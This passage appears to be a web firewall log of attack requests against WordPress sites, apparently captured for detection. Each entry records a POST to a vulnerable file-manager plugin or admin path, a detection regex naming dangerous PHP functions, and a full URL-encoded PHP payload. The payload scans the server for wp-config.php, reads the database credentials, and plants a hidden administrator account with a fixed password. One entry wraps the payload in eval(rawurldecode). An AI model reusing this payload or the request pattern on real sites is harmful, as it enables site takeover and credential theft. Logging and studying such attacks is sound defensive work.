0%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 17:22:42","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FY:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:12640\ncookie:4=8daaffd16fd7c7835307f0d6af9d1696; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-mode:navigate\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\n\nFY=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 17:23:21","213.209.159.254","POST","\/wp-admin\/network\/upgrade.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GBStEu:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%